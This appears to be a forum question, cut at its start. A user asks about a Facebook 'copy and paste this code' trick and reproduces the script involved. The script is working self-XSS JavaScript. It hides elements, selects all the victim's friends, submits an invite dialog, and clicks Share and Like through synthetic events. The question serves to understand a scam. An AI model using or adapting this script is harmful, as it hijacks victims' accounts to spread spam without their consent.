Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says \"to see the real illusion, copy and paste this co
Malicious Code
document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden';
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
var s = document.getElementById('suggest');
var m = document.getElementById('likeme');
var sl = document.getElementById('slink');
var c = document.createEvent("MouseEvents");
c.initEvent('click', true, true);
s.dispatchEvent(c);
setTimeout(function () {
fs.select_all()
SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
setTimeout(function () {
c.initEvent('click', true, true);
sl.dispatchEvent(c);
setTimeout(function () {
var inp = document.getElementsByTagName('input');
for (i in inp) {
if (inp[i].value == 'Share') {
inp[i].dispatchEvent(c)
}
};
m.dispatchEvent(c);
setTimeout(function () {
document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
}, 2000)
}, 4000)
}, 3000)
}, 5000);